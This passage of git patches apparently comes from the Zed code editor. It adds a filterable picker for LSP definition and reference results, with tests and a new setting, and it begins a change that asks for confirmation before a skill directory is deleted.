+        let fallback = EditorSettings::get_global(cx).go_to_definition_fallback;
+        let editor = editor.downgrade();
+        cx.spawn_in(window, async move |workspace, cx| {
+            // The kind the user invoked, kept for user-facing messages even if
+            // the query below falls back to references.
+            let invoked_kind = kind;
+            let mut kind = kind;
+
+            // Count on the built matches (not raw locations): they are deduped by
+            // range and exclude fileless results, so a single distinct result
+            // jumps directly and a fileless-only result reports "no results"
+            // instead of opening a blank picker.
+            let Some(mut matches) =
+                run_picker_matches(kind, &editor, &workspace, &project, cx).await
+            else {
+                return;
+            };
+
+            if matches.is_empty()
+                && kind == LspPickerKind::Definition
+                && fallback == GoToDefinitionFallback::FindAllReferences
+            {
+                kind = LspPickerKind::References;
+                let Some(references) =
+                    run_picker_matches(kind, &editor, &workspace, &project, cx).await
+                else {
+                    return;
+                };
+                matches = references;
+            }
+
+            if matches.is_empty() {
+                show_no_results_toast(&workspace, invoked_kind, cx);
+                return;
+            }
+
+            if matches.len() == 1 {
+                if let Some(location_match) = matches.into_iter().next() {
+                    let location = Location {
+                        buffer: location_match.buffer,
+                        range: location_match.anchor_range,
+                    };
+                    if let Ok(task) = editor.update_in(cx, |editor, window, cx| {
+                        editor.open_location(location, false, window, cx)
+                    }) {
+                        task.await.log_err();
+                    }
+                }
+                return;
+            }
+
+            workspace
+                .update_in(cx, |workspace, window, cx| {
+                    workspace.toggle_modal(window, cx, |window, cx| {
+                        Self::new(kind, matches, project, editor, window, cx)
+                    });
+                })
+                .log_err();
+        })
+        .detach();
+    }
+
+    fn new(
+        kind: LspPickerKind,
+        matches: Vec<LocationMatch>,
+        project: Entity<Project>,
+        editor: WeakEntity<Editor>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Self {
+        let preview = picker_preview::editor_preview(project.clone(), window, cx);
+        let delegate = LspLocationsDelegate::new(kind, matches, project, editor);
+        let picker = cx.new(|cx| Picker::list_with_preview(delegate, preview, window, cx));
+        let subscription = cx.subscribe(&picker, |_, _, _: &DismissEvent, cx| {
+            cx.emit(DismissEvent);
+        });
+        Self {
+            picker,
+            _subscription: subscription,
+        }
+    }
+}
+
+impl ModalView for LspLocationsPicker {}
+
+impl EventEmitter<DismissEvent> for LspLocationsPicker {}
+
+impl Focusable for LspLocationsPicker {
+    fn focus_handle(&self, cx: &App) -> FocusHandle {
+        self.picker.focus_handle(cx)
+    }
+}
+
+impl Render for LspLocationsPicker {
+    fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
+        v_flex().child(self.picker.clone())
+    }
+}
+
+struct LocationMatch {
+    path: ProjectPath,
+    buffer: Entity<Buffer>,
+    anchor_range: Range<Anchor>,
+    range: Range<usize>,
+    display_text: String,
+    syntax_highlights: Vec<(Range<usize>, HighlightId)>,
+    match_range: Range<usize>,
+    line_number: u32,
+}
+
+/// A row in the grouped display list: a non-selectable file header, a match, or
+/// a separator between file groups. `selected_index` indexes into this list.
+enum Entry {
+    Header(ProjectPath),
+    Match(usize),
+    Separator,
+}
+
+struct LspLocationsDelegate {
+    kind: LspPickerKind,
+    project: Entity<Project>,
+    editor: WeakEntity<Editor>,
+    all_matches: Vec<LocationMatch>,
+    candidates: Arc<[StringMatchCandidate]>,
+    matches: Vec<usize>,
+    entries: Vec<Entry>,
+    selected_index: usize,
+    max_line_number: u32,
+}
+
+impl LspLocationsDelegate {
+    fn new(
+        kind: LspPickerKind,
+        all_matches: Vec<LocationMatch>,
+        project: Entity<Project>,
+        editor: WeakEntity<Editor>,
+    ) -> Self {
+        // Match against the line text and the file path, mirroring the fuzzy
+        // matching every other Zed picker uses.
+        let candidates = all_matches
+            .iter()
+            .enumerate()
+            .map(|(index, location_match)| {
+                StringMatchCandidate::new(
+                    index,
+                    &format!(
+                        "{} {}",
+                        location_match.display_text,
+                        location_match.path.path.as_unix_str()
+                    ),
+                )
+            })
+            .collect();
+        let matches = (0..all_matches.len()).collect();
+        let mut this = Self {
+            kind,
+            project,
+            editor,
+            all_matches,
+            candidates,
+            matches,
+            entries: Vec::new(),
+            selected_index: 0,
+            max_line_number: 0,
+        };
+        this.rebuild_entries();
+        this
+    }
+
+    /// Rebuilds the grouped [`Self::entries`] from the filtered [`Self::matches`]:
+    /// one header per file, its matches, and a separator before every group
+    /// after the first. Selection snaps to the first selectable row.
+    fn rebuild_entries(&mut self) {
+        let mut entries = Vec::with_capacity(self.matches.len());
+        let mut last_path: Option<&ProjectPath> = None;
+        let mut max_line_number = 0;
+        for &match_index in &self.matches {
+            let location_match = &self.all_matches[match_index];
+            if last_path != Some(&location_match.path) {
+                if last_path.is_some() {
+                    entries.push(Entry::Separator);
+                }
+                entries.push(Entry::Header(location_match.path.clone()));
+                last_path = Some(&location_match.path);
+            }
+            max_line_number = max_line_number.max(location_match.line_number);
+            entries.push(Entry::Match(match_index));
+        }
+        self.entries = entries;
+        self.max_line_number = max_line_number;
+        self.selected_index = self.first_selectable_index().unwrap_or(0);
+    }
+
+    fn first_selectable_index(&self) -> Option<usize> {
+        self.entries
+            .iter()
+            .position(|entry| matches!(entry, Entry::Match(_)))
+    }
+
+    fn selected_location_match(&self) -> Option<&LocationMatch> {
+        match self.entries.get(self.selected_index)? {
+            Entry::Match(match_index) => self.all_matches.get(*match_index),
+            Entry::Header(_) | Entry::Separator => None,
+        }
+    }
+
+    fn open_selected(&mut self, split: bool, window: &mut Window, cx: &mut Context<Picker<Self>>) {
+        let Some(location_match) = self.selected_location_match() else {
+            return;
+        };
+        let location = Location {
+            buffer: location_match.buffer.clone(),
+            range: location_match.anchor_range.clone(),
+        };
+        let Some(editor) = self.editor.upgrade() else {
+            return;
+        };
+        editor
+            .update(cx, |editor, cx| {
+                editor.open_location(location, split, window, cx)
+            })
+            .detach_and_log_err(cx);
+        cx.emit(DismissEvent);
+    }
+}
+
+fn build_location_matches(locations: &[Location], cx: &App) -> Vec<LocationMatch> {
+    use gpui::EntityId;
+    let mut snapshots: HashMap<EntityId, language::BufferSnapshot> = HashMap::default();
+    let mut matches = Vec::with_capacity(locations.len());
+
+    for location in locations {
+        let snapshot = snapshots
+            .entry(location.buffer.entity_id())
+            .or_insert_with(|| location.buffer.read(cx).snapshot());
+
+        let Some(file) = snapshot.file() else {
+            continue;
+        };
+        let path = ProjectPath {
+            worktree_id: file.worktree_id(cx),
+            path: file.path().clone(),
+        };
+
+        let start_offset: usize = snapshot.summary_for_anchor(&location.range.start);
+        let end_offset: usize = snapshot.summary_for_anchor(&location.range.end);
+        let row = snapshot.offset_to_point(start_offset).row;
+        let line_start = snapshot.point_to_offset(Point::new(row, 0));
+        let line_end = snapshot.point_to_offset(Point::new(row, snapshot.line_len(row)));
+        let full_line: String = snapshot.text_for_range(line_start..line_end).collect();
+
+        // The row shows the line with leading indentation trimmed. Offsets below
+        // are relative to that displayed text.
+        let display_text = full_line.trim_start().to_string();
+        let visible_start = line_end.saturating_sub(display_text.len());
+        let visible_end = line_end;
+
+        // Precompute syntax highlights for the displayed text so rendering a row
+        // never re-snapshots the buffer or re-runs highlighting.
+        let mut syntax_highlights = Vec::new();
+        let mut offset = 0;
+        for chunk in snapshot.chunks(
+            visible_start..visible_end,
+            LanguageAwareStyling {
+                tree_sitter: true,
+                diagnostics: false,
+            },
+        ) {
+            let chunk_len = chunk.text.len();
+            if let Some(id) = chunk.syntax_highlight_id {
+                syntax_highlights.push((offset..offset + chunk_len, id));
+            }
+            offset += chunk_len;
+        }
+
+        // The match span, clamped into the displayed text. `clamp` bounds each
+        // endpoint to the line; `min`/`max` then keep the range well-ordered even
+        // for a malformed/inverted LSP range (clamping alone preserves bounds but
+        // not `start <= end`).
+        let clamped_start = start_offset.clamp(visible_start, visible_end) - visible_start;
+        let clamped_end = end_offset.clamp(visible_start, visible_end) - visible_start;
+        let match_range = clamped_start.min(clamped_end)..clamped_start.max(clamped_end);
+
+        matches.push(LocationMatch {
+            path,
+            buffer: location.buffer.clone(),
+            anchor_range: location.range.clone(),
+            range: start_offset..end_offset,
+            display_text,
+            syntax_highlights,
+            match_range,
+            line_number: row + 1,
+        });
+    }
+
+    // Group by file and order by position so the grouped display list is stable,
+    // then drop exact-duplicate ranges a server may report more than once.
+    matches.sort_by(|a, b| a.path.cmp(&b.path).then(a.range.start.cmp(&b.range.start)));
+    matches.dedup_by(|a, b| a.path == b.path && a.range == b.range);
+    matches
+}
+
+impl PickerDelegate for LspLocationsDelegate {
+    type ListItem = AnyElement;
+
+    fn name() -> &'static str {
+        "lsp locations picker"
+    }
+
+    fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> std::sync::Arc<str> {
+        self.kind.placeholder().into()
+    }
+
+    fn match_count(&self) -> usize {
+        self.entries.len()
+    }
+
+    fn can_select(&self, ix: usize, _window: &mut Window, _cx: &mut Context<Picker<Self>>) -> bool {
+        matches!(self.entries.get(ix), Some(Entry::Match(_)))
+    }
+
+    fn selected_index(&self) -> usize {
+        self.selected_index
+    }
+
+    fn select_on_hover(&self) -> bool {
+        false
+    }
+
+    fn set_selected_index(
+        &mut self,
+        ix: usize,
+        _window: &mut Window,
+        _cx: &mut Context<Picker<Self>>,
+    ) {
+        self.selected_index = ix;
+    }
+
+    fn update_matches(
+        &mut self,
+        query: String,
+        _window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) -> Task<()> {
+        let query = query.trim().to_owned();
+        let candidates = self.candidates.clone();
+        cx.spawn(async move |picker, cx| {
+            let matches = if query.is_empty() {
+                (0..candidates.len()).collect()
+            } else {
+                let string_matches = fuzzy::match_strings(
+                    &candidates,
+                    &query,
+                    false,
+                    true,
+                    candidates.len(),
+                    &Default::default(),
+                    cx.background_executor().clone(),
+                )
+                .await;
+                let mut indices = string_matches
+                    .into_iter()
+                    .map(|string_match| string_match.candidate_id)
+                    .collect::<Vec<_>>();
+                // Restore the file-grouped, positional order (fuzzy returns by score).
+                indices.sort_unstable();
+                indices
+            };
+            picker
+                .update(cx, |picker, cx| {
+                    picker.delegate.matches = matches;
+                    picker.delegate.rebuild_entries();
+                    cx.notify();
+                })
+                .ok();
+        })
+    }
+
+    fn confirm(&mut self, secondary: bool, window: &mut Window, cx: &mut Context<Picker<Self>>) {
+        self.open_selected(secondary, window, cx);
+    }
+
+    fn dismissed(&mut self, _window: &mut Window, cx: &mut Context<Picker<Self>>) {
+        cx.emit(DismissEvent);
+    }
+
+    fn try_get_preview_data_for_match(&self, _cx: &App) -> Option<picker::PreviewUpdate> {
+        let location_match = self.selected_location_match()?;
+        Some(picker::PreviewUpdate::from_buffer(
+            location_match.buffer.clone(),
+            picker::MatchLocation {
+                anchor_range: location_match.anchor_range.clone(),
+                range: location_match.range.clone(),
+            },
+        ))
+    }
+
+    fn render_match(
+        &self,
+        ix: usize,
+        selected: bool,
+        _window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) -> Option<Self::ListItem> {
+        match self.entries.get(ix)? {
+            Entry::Separator => Some(
+                div()
+                    .py(DynamicSpacing::Base04.rems(cx))
+                    .child(Divider::horizontal())
+                    .into_any_element(),
+            ),
+            Entry::Header(path) => {
+                let path_style = self.project.read(cx).path_style(cx);
+                let file_name = path
+                    .path
+                    .file_name()
+                    .map(|name| name.to_string())
+                    .unwrap_or_default();
+                let directory = path
+                    .path
+                    .parent()
+                    .map(|parent| parent.display(path_style))
+                    .map(SharedString::new)
+                    .unwrap_or_default();
+                let file_icon = ItemSettings::get_global(cx)
+                    .file_icons
+                    .then(|| FileIcons::get_icon(path.path.as_std_path(), cx))
+                    .flatten()
+                    .map(|icon| {
+                        Icon::from_path(icon)
+                            .color(Color::Muted)
+                            .size(IconSize::Small)
+                    });
+                Some(
+                    h_flex()
+                        .w_full()
+                        .min_w_0()
+                        .px(DynamicSpacing::Base06.rems(cx))
+                        .py_1()
+                        .gap_1p5()
+                        .children(file_icon)
+                        .child(
+                            h_flex()
+                                .gap_1()
+                                .child(Label::new(file_name).size(LabelSize::Small))
+                                .when(!directory.is_empty(), |this| {
+                                    this.child(
+                                        Label::new(directory)
+                                            .size(LabelSize::Small)
+                                            .color(Color::Muted)
+                                            .truncate_start(),
+                                    )
+                                }),
+                        )
+                        .into_any_element(),
+                )
+            }
+            Entry::Match(match_index) => {
+                let location_match = self.all_matches.get(*match_index)?;
+                Some(
+                    ListItem::new(ix)
+                        .spacing(ListItemSpacing::Sparse)
+                        .inset(true)
+                        .toggle_state(selected)
+                        .child(
+                            h_flex()
+                                .w_full()
+                                .min_w_0()
+                                .gap_2p5()
+                                .text_sm()
+                                .child(
+                                    h_flex()
+                                        .w(rems(
+                                            (self.max_line_number.max(1).ilog10() + 1) as f32 * 0.5,
+                                        ))
+                                        .justify_end()
+                                        .child(
+                                            Label::new(location_match.line_number.to_string())
+                                                .color(Color::Custom(
+                                                    cx.theme().colors().text_muted.opacity(0.5),
+                                                )),
+                                        ),
+                                )
+                                .child(
+                                    div()
+                                        .flex_1()
+                                        .min_w_0()
+                                        .truncate()
+                                        .child(render_matched_line(location_match, cx)),
+                                ),
+                        )
+                        .into_any_element(),
+                )
+            }
+        }
+    }
+}
+
+/// Renders the precomputed displayed line, resolving the stored syntax highlight
+/// ids against the current theme and overlaying the match with a highlighted
+/// background and bold weight.
+fn render_matched_line(location_match: &LocationMatch, cx: &App) -> StyledText {
+    let settings = ThemeSettings::get_global(cx);
+    let text_style = TextStyle {
+        color: cx.theme().colors().text,
+        font_family: settings.buffer_font.family.clone(),
+        font_features: settings.buffer_font.features.clone(),
+        font_fallbacks: settings.buffer_font.fallbacks.clone(),
+        font_size: settings.buffer_font_size(cx).into(),
+        font_weight: settings.buffer_font.weight,
+        line_height: relative(1.),
+        ..Default::default()
+    };
+
+    let syntax_theme = cx.theme().syntax();
+    let syntax_highlights = location_match
+        .syntax_highlights
+        .iter()
+        .filter_map(|(range, id)| Some((range.clone(), syntax_theme.get(*id).copied()?)))
+        .collect::<Vec<_>>();
+
+    let match_style = HighlightStyle {
+        background_color: Some(cx.theme().colors().search_match_background),
+        font_weight: Some(gpui::FontWeight::BOLD),
+        ..Default::default()
+    };
+    let match_highlight = (location_match.match_range.clone(), match_style);
+
+    let highlights = gpui::combine_highlights(syntax_highlights, [match_highlight]);
+    StyledText::new(location_match.display_text.clone())
+        .with_default_highlights(&text_style, highlights)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use editor::test::editor_lsp_test_context::EditorLspTestContext;
+    use gpui::TestAppContext;
+    use indoc::indoc;
+
+    async fn rust_cx(
+        capabilities: lsp::ServerCapabilities,
+        cx: &mut TestAppContext,
+    ) -> EditorLspTestContext {
+        EditorLspTestContext::new_rust(capabilities, cx).await
+    }
+
+    fn open(cx: &mut EditorLspTestContext, kind: LspPickerKind) {
+        let editor = cx.editor.clone();
+        let workspace = cx.workspace.clone();
+        cx.update(|window, cx| {
+            workspace.update(cx, |workspace, cx| {
+                LspLocationsPicker::open(kind, editor, workspace, window, cx);
+            });
+        });
+        cx.run_until_parked();
+    }
+
+    fn active_picker(cx: &mut EditorLspTestContext) -> Option<Entity<LspLocationsPicker>> {
+        let workspace = cx.workspace.clone();
+        cx.update(|_window, cx| workspace.read(cx).active_modal::<LspLocationsPicker>(cx))
+    }
+
+    fn references(uri: lsp::Uri, ranges: &[(u32, u32, u32)]) -> Vec<lsp::Location> {
+        ranges
+            .iter()
+            .map(|&(row, start, end)| lsp::Location {
+                uri: uri.clone(),
+                range: lsp::Range::new(
+                    lsp::Position::new(row, start),
+                    lsp::Position::new(row, end),
+                ),
+            })
+            .collect()
+    }
+
+    const SOURCE: &str = indoc! {r#"
+        fn main() {
+            let aˇbc = 123;
+            let xyz = abc;
+        }
+    "#};
+
+    #[gpui::test]
+    async fn test_multiple_references_open_picker(cx: &mut TestAppContext) {
+        let mut cx = rust_cx(
+            lsp::ServerCapabilities {
+                references_provider: Some(lsp::OneOf::Left(true)),
+                ..Default::default()
+            },
+            cx,
+        )
+        .await;
+        cx.set_state(SOURCE);
+        cx.lsp
+            .set_request_handler::<lsp::request::References, _, _>(async move |params, _| {
+                let uri = params.text_document_position.text_document.uri;
+                Ok(Some(references(uri, &[(1, 8, 11), (2, 14, 17)])))
+            });
+
+        open(&mut cx, LspPickerKind::References);
+
+        assert!(
+            active_picker(&mut cx).is_some(),
+            "multiple references should open the picker"
+        );
+    }
+
+    #[gpui::test]
+    async fn test_single_result_jumps_without_picker(cx: &mut TestAppContext) {
+        let mut cx = rust_cx(
+            lsp::ServerCapabilities {
+                references_provider: Some(lsp::OneOf::Left(true)),
+                ..Default::default()
+            },
+            cx,
+        )
+        .await;
+        cx.set_state(SOURCE);
+        cx.lsp
+            .set_request_handler::<lsp::request::References, _, _>(async move |params, _| {
+                let uri = params.text_document_position.text_document.uri;
+                Ok(Some(references(uri, &[(2, 14, 17)])))
+            });
+
+        open(&mut cx, LspPickerKind::References);
+
+        assert!(
+            active_picker(&mut cx).is_none(),
+            "a single result should jump directly instead of opening the picker"
+        );
+        // The lone result at row 2 should be selected directly, moving the
+        // cursor off its starting position on row 1.
+        cx.assert_editor_state(indoc! {r#"
+            fn main() {
+                let abc = 123;
+                let xyz = «abcˇ»;
+            }
+        "#});
+    }
+
+    #[gpui::test]
+    async fn test_no_results_does_not_open_picker(cx: &mut TestAppContext) {
+        let mut cx = rust_cx(
+            lsp::ServerCapabilities {
+                references_provider: Some(lsp::OneOf::Left(true)),
+                ..Default::default()
+            },
+            cx,
+        )
+        .await;
+        cx.set_state(SOURCE);
+        cx.lsp
+            .set_request_handler::<lsp::request::References, _, _>(async move |_params, _| {
+                Ok(Some(Vec::new()))
+            });
+
+        open(&mut cx, LspPickerKind::References);
+
+        assert!(
+            active_picker(&mut cx).is_none(),
+            "an empty result should not open the picker"
+        );
+    }
+
+    #[gpui::test]
+    async fn test_definition_falls_back_to_references_picker(cx: &mut TestAppContext) {
+        let mut cx = rust_cx(
+            lsp::ServerCapabilities {
+                definition_provider: Some(lsp::OneOf::Left(true)),
+                references_provider: Some(lsp::OneOf::Left(true)),
+                ..Default::default()
+            },
+            cx,
+        )
+        .await;
+        cx.set_state(SOURCE);
+        cx.lsp
+            .set_request_handler::<lsp::request::GotoDefinition, _, _>(async move |_params, _| {
+                Ok(None)
+            });
+        cx.lsp
+            .set_request_handler::<lsp::request::References, _, _>(async move |params, _| {
+                let uri = params.text_document_position.text_document.uri;
+                Ok(Some(references(uri, &[(1, 8, 11), (2, 14, 17)])))
+            });
+
+        open(&mut cx, LspPickerKind::Definition);
+
+        assert!(
+            active_picker(&mut cx).is_some(),
+            "an empty definition query should fall back to the references picker"
+        );
+    }
+
+    #[gpui::test]
+    async fn test_fuzzy_filter_matches_subsequence(cx: &mut TestAppContext) {
+        let mut cx = rust_cx(
+            lsp::ServerCapabilities {
+                references_provider: Some(lsp::OneOf::Left(true)),
+                ..Default::default()
+            },
+            cx,
+        )
+        .await;
+        cx.set_state(SOURCE);
+        cx.lsp
+            .set_request_handler::<lsp::request::References, _, _>(async move |params, _| {
+                let uri = params.text_document_position.text_document.uri;
+                Ok(Some(references(uri, &[(1, 8, 11), (2, 14, 17)])))
+            });
+
+        open(&mut cx, LspPickerKind::References);
+        let modal = active_picker(&mut cx).expect("multiple references should open the picker");
+        let picker = cx.update(|_window, cx| modal.read(cx).picker.clone());
+
+        let matches = |cx: &mut EditorLspTestContext, query: &str| -> usize {
+            cx.update(|window, cx| {
+                picker.update(cx, |picker, cx| picker.set_query(query, window, cx));
+            });
+            cx.run_until_parked();
+            cx.update(|_window, cx| picker.read(cx).delegate.matches.len())
+        };
+
+        // "lx" is a subsequence of "let xyz" but not a substring of either line,
+        // so it only matches with fuzzy matching.
+        assert_eq!(matches(&mut cx, "lx"), 1);
+        assert_eq!(matches(&mut cx, "zzzz"), 0);
+        assert_eq!(matches(&mut cx, ""), 2);
+    }
+}
diff --git a/crates/settings/src/vscode_import.rs b/crates/settings/src/vscode_import.rs
index 5d1a628578077a..65fcb22c9bb38d 100644
--- a/crates/settings/src/vscode_import.rs
+++ b/crates/settings/src/vscode_import.rs
@@ -272,6 +272,7 @@ impl VsCodeSettings {
             sticky_scroll: self.sticky_scroll_content(),
             go_to_definition_fallback: None,
             go_to_definition_scroll_strategy: None,
+            lsp_results_location: None,
             gutter: self.gutter_content(),
             horizontal_scroll_margin: None,
             hover_popover_delay: self.read_u64("editor.hover.delay").map(Into::into),
diff --git a/crates/settings_content/src/editor.rs b/crates/settings_content/src/editor.rs
index 499fb10e3b64e5..14a594236a4bbd 100644
--- a/crates/settings_content/src/editor.rs
+++ b/crates/settings_content/src/editor.rs
@@ -188,6 +188,14 @@ pub struct EditorSettingsContent {
     /// Default: FindAllReferences
     pub go_to_definition_fallback: Option<GoToDefinitionFallback>,
 
+    /// Where to show LSP results that can contain multiple locations
+    /// (Go to Definition, Go to Implementation, Find All References). A single
+    /// result always opens directly. Individual actions can override this with
+    /// their `open_results_in` argument.
+    ///
+    /// Default: multi_buffer
+    pub lsp_results_location: Option<OpenResultsIn>,
+
     /// How to scroll the target into view when navigating to a definition or reference
     /// (e.g. Go to Definition, Go to Type Definition, Find All References).
     ///
@@ -836,6 +844,30 @@ pub enum GoToDefinitionFallback {
     FindAllReferences,
 }
 
+/// Where to show LSP results that can contain multiple locations.
+#[derive(
+    Copy,
+    Clone,
+    Debug,
+    Default,
+    Serialize,
+    Deserialize,
+    PartialEq,
+    Eq,
+    JsonSchema,
+    MergeFrom,
+    strum::VariantArray,
+    strum::VariantNames,
+)]
+#[serde(rename_all = "snake_case")]
+pub enum OpenResultsIn {
+    /// Open the results in a multibuffer.
+    #[default]
+    MultiBuffer,
+    /// Open the results in a filterable picker.
+    Picker,
+}
+
 /// How to scroll the target into view when navigating to a definition or reference.
 ///
 /// Default: center
diff --git a/crates/settings_ui/src/page_data.rs b/crates/settings_ui/src/page_data.rs
index ce7b51f2e9093f..3c1aa9708e25a0 100644
--- a/crates/settings_ui/src/page_data.rs
+++ b/crates/settings_ui/src/page_data.rs
@@ -10007,7 +10007,7 @@ fn language_settings_data() -> Box<[SettingsPageItem]> {
 /// LanguageSettings items that should be included in the "Languages & Tools" page
 /// not the "Editor" page
 fn non_editor_language_settings_data() -> Box<[SettingsPageItem]> {
-    fn lsp_section() -> [SettingsPageItem; 9] {
+    fn lsp_section() -> [SettingsPageItem; 10] {
         [
             SettingsPageItem::SectionHeader("LSP"),
             SettingsPageItem::SettingItem(SettingItem {
@@ -10112,6 +10112,20 @@ fn non_editor_language_settings_data() -> Box<[SettingsPageItem]> {
                 metadata: None,
                 files: USER,
             }),
+            SettingsPageItem::SettingItem(SettingItem {
+                title: "LSP Results Location",
+                description: "Where to show LSP results that can contain multiple locations (Go to Definition, Go to Implementation, Find All References).",
+                field: Box::new(SettingField {
+                    organization_override: None,
+                    json_path: Some("lsp_results_location"),
+                    pick: |settings_content| settings_content.editor.lsp_results_location.as_ref(),
+                    write: |settings_content, value, _| {
+                        settings_content.editor.lsp_results_location = value;
+                    },
+                }),
+                metadata: None,
+                files: USER,
+            }),
             SettingsPageItem::SettingItem(SettingItem {
                 title: "Semantic Tokens",
                 description: {
diff --git a/crates/settings_ui/src/settings_ui.rs b/crates/settings_ui/src/settings_ui.rs
index 58e5d1f1b98070..f3cf844d78e66c 100644
--- a/crates/settings_ui/src/settings_ui.rs
+++ b/crates/settings_ui/src/settings_ui.rs
@@ -567,6 +567,7 @@ fn init_renderers(cx: &mut App) {
         .add_basic_renderer::<settings::DoubleClickInMultibuffer>(render_dropdown)
         .add_basic_renderer::<settings::GoToDefinitionFallback>(render_dropdown)
         .add_basic_renderer::<settings::GoToDefinitionScrollStrategy>(render_dropdown)
+        .add_basic_renderer::<settings::OpenResultsIn>(render_dropdown)
         .add_basic_renderer::<settings::ActivateOnClose>(render_dropdown)
         .add_basic_renderer::<settings::ShowDiagnostics>(render_dropdown)
         .add_basic_renderer::<settings::ShowCloseButton>(render_dropdown)
diff --git a/crates/zed/Cargo.toml b/crates/zed/Cargo.toml
index 213147207c3c6f..f5f4a82dd8c1bb 100644
--- a/crates/zed/Cargo.toml
+++ b/crates/zed/Cargo.toml
@@ -151,6 +151,7 @@ language_tools.workspace = true
 languages = { workspace = true, features = ["load-grammars"] }
 line_ending_selector.workspace = true
 log.workspace = true
+lsp_locations.workspace = true
 markdown.workspace = true
 markdown_preview.workspace = true
 menu.workspace = true
diff --git a/crates/zed/src/main.rs b/crates/zed/src/main.rs
index 1dcac5480f5d1f..eb933cc16e62b5 100644
--- a/crates/zed/src/main.rs
+++ b/crates/zed/src/main.rs
@@ -748,6 +748,7 @@ fn main() {
         snippets_ui::init(cx);
         channel::init(&app_state.client.clone(), app_state.user_store.clone(), cx);
         search::init(cx);
+        lsp_locations::init(cx);
         cx.set_global(workspace::PaneSearchBarCallbacks {
             setup_search_bar: |languages, toolbar, window, cx| {
                 let search_bar = cx.new(|cx| search::BufferSearchBar::new(languages, window, cx));
diff --git a/crates/zed/src/visual_test_runner.rs b/crates/zed/src/visual_test_runner.rs
index f750376016757b..bbcd909315cbd2 100644
--- a/crates/zed/src/visual_test_runner.rs
+++ b/crates/zed/src/visual_test_runner.rs
@@ -190,6 +190,7 @@ fn run_visual_tests(project_path: PathBuf, update_baseline: bool) -> Result<()>
         terminal_view::init(cx);
         image_viewer::init(cx);
         search::init(cx);
+        lsp_locations::init(cx);
         cx.set_global(workspace::PaneSearchBarCallbacks {
             setup_search_bar: |languages, toolbar, window, cx| {
                 let search_bar = cx.new(|cx| search::BufferSearchBar::new(languages, window, cx));
diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index 1029c82ef6cdbc..79abe8949ee30f 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
@@ -5707,6 +5707,7 @@ mod tests {
             debugger_ui::init(cx);
             initialize_workspace(app_state.clone(), cx);
             search::init(cx);
+            lsp_locations::init(cx);
             cx.set_global(workspace::PaneSearchBarCallbacks {
                 setup_search_bar: |languages, toolbar, window, cx| {
                     let search_bar =
diff --git a/crates/zed/src/zed/app_menus.rs b/crates/zed/src/zed/app_menus.rs
index bb1f3ee7aa1c1a..6e73536b1df959 100644
--- a/crates/zed/src/zed/app_menus.rs
+++ b/crates/zed/src/zed/app_menus.rs
@@ -232,7 +232,10 @@ pub fn app_menus(cx: &mut App) -> Vec<Menu> {
                 ),
                 MenuItem::action("Go to Line/Column...", editor::actions::ToggleGoToLine),
                 MenuItem::separator(),
-                MenuItem::action("Go to Definition", editor::actions::GoToDefinition),
+                MenuItem::action(
+                    "Go to Definition",
+                    editor::actions::GoToDefinition::default(),
+                ),
                 MenuItem::action("Go to Declaration", editor::actions::GoToDeclaration),
                 MenuItem::action("Go to Type Definition", editor::actions::GoToTypeDefinition),
                 MenuItem::action(
diff --git a/crates/zed/src/zed/visual_tests.rs b/crates/zed/src/zed/visual_tests.rs
index 80e37a3798960f..bfe3d3b6f1246b 100644
--- a/crates/zed/src/zed/visual_tests.rs
+++ b/crates/zed/src/zed/visual_tests.rs
@@ -62,6 +62,7 @@ pub fn init_visual_test(cx: &mut VisualTestAppContext) -> Arc<AppState> {
         terminal_view::init(cx);
         image_viewer::init(cx);
         search::init(cx);
+        lsp_locations::init(cx);
         cx.set_global(workspace::PaneSearchBarCallbacks {
             setup_search_bar: |languages, toolbar, window, cx| {
                 let search_bar = cx.new(|cx| search::BufferSearchBar::new(languages, window, cx));

From 4e36451a8c01702234fc14ad87ebc56d3e5037cb Mon Sep 17 00:00:00 2001
From: Smit Barmase <heysmitbarmase@gmail.com>
Date: Wed, 15 Jul 2026 20:14:40 +0530
Subject: [PATCH 483/772] settings_ui: Add confirmation prompt before deleting
 a skill (#61044)

Previously, clicking the trash icon on the Skills settings page
immediately moved the skill's directory to the trash.

This PR now shows a confirmation prompt explains what will be deleted
and where it's shared before anything is moved to the trash. This is
because that directory is shared with other agent tools
(`~/.agents/skills` or `{project}/.agents/skills`), deleting it silently
affects more than just Zed, I think it's better to explain that.

<img height="250" alt="global-skill-delete"
src="https://github.com/user-attachments/assets/d49ecc92-c195-42d2-924e-6fb9d024d2ec"
/>
<img height="250" alt="project-skill-delete"
src="https://github.com/user-attachments/assets/4b84af28-b8fd-4635-afe5-c1cd73d09e1a"
/>

Release Notes:

- Added a confirmation prompt when deleting skills from the settings
window.
---
 crates/settings_ui/src/pages/skills_setup.rs | 53 +++++++++++++++++---
 1 file changed, 47 insertions(+), 6 deletions(-)

diff --git a/crates/settings_ui/src/pages/skills_setup.rs b/crates/settings_ui/src/pages/skills_setup.rs
index bf450c76c2f243..3700467a5d6e38 100644
--- a/crates/settings_ui/src/pages/skills_setup.rs
+++ b/crates/settings_ui/src/pages/skills_setup.rs
@@ -1,9 +1,10 @@
-use agent_skills::{Skill, SkillIndex, encode_skill_share_link};
+use agent_skills::{Skill, SkillIndex, SkillSource, encode_skill_share_link};
 use fs::RemoveOptions;
-use gpui::{App, ClipboardItem, ScrollHandle, SharedString, prelude::*};
+use gpui::{App, ClipboardItem, PromptLevel, ScrollHandle, SharedString, prelude::*};
 
 use ui::{Divider, Tooltip, prelude::*};
 use util::ResultExt as _;
+use util::paths::PathExt as _;
 
 use crate::pages::SkillCreatorOpenMode;
 use crate::{SettingsUiFile, SettingsWindow};
@@ -115,6 +116,12 @@ fn render_skill_row(
 ) -> AnyElement {
     let skill_file_path = skill.skill_file_path.clone();
     let directory_path = skill.directory_path.clone();
+    let skill_name = skill.name.clone();
+
+    let (skill_scope, shared_scope) = match &skill.source {
+        SkillSource::ProjectLocal { .. } => ("project", "used in this project"),
+        _ => ("global", "on this machine"),
+    };
 
     let share_copied = settings_window.last_copied_skill_directory_path.as_deref()
         == Some(skill.directory_path.as_path());
